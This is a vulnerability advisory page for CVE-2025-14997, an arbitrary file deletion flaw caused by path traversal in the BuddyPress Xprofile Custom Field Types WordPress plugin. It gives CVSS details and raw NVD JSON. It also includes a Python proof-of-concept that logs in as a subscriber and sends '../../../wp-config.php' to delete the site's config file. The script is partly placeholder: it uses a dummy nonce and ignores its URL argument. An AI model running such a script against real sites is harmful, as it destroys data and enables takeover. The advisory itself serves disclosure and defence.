Security Vulnerability Report
中文
CVE-2025-14997 CVSS 8.8 HIGH

CVE-2025-14997

Published: 2026-01-06 05:16:03
Last Modified: 2026-04-15 00:35:42

Description

The BuddyPress Xprofile Custom Field Types plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete_field' function in all versions up to, and including, 1.2.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BuddyPress Xprofile Custom Field Types plugin < 1.2.9 (all versions up to and including 1.2.8)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14997 PoC - Arbitrary File Deletion # Target: BuddyPress Xprofile Custom Field Types Plugin < 1.2.9 # Author: Security Researcher TARGET_URL = "https://target-site.com/wp-admin/admin-ajax.php" WP_USER = "[email protected]" WP_PASS = "attacker_password" def get_nonce(target_url, username, password): """Login to WordPress and extract nonce for AJAX requests""" session = requests.Session() # Step 1: Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None, None print("[+] Login successful") return session, session.cookies.get_dict() def delete_arbitrary_file(session, file_path): """Send malicious request to delete arbitrary file""" # Construct payload with path traversal payload = { 'action': 'bp_xprofile_delete_field', 'field_id': '1', 'file_path': '../../../' + file_path, 'nonce': 'attacker_nonce_here' # Need valid nonce from page source } response = session.post(TARGET_URL, data=payload) if response.status_code == 200: print(f"[+] File deletion request sent for: {file_path}") return True return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_14997_poc.py <target_url>") sys.exit(1) target = sys.argv[1] session, cookies = get_nonce(target, WP_USER, WP_PASS) if session: # Example: Delete wp-config.php to achieve RCE delete_arbitrary_file(session, "wp-config.php") print("[+] Check if wp-config.php was deleted") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14997", "sourceIdentifier": "[email protected]", "published": "2026-01-06T05:16:03.437", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BuddyPress Xprofile Custom Field Types plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete_field' function in all versions up to, and including, 1.2.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bp-xprofile-custom-field-types/tags/1.2.8/src/handlers/class-field-upload-helper.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3430565/bp-xprofile-custom-field-types", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/89a7a717-dac3-490e-89dd-268be8eb7bf5?source=cve", "source": "[email protected]"}]}}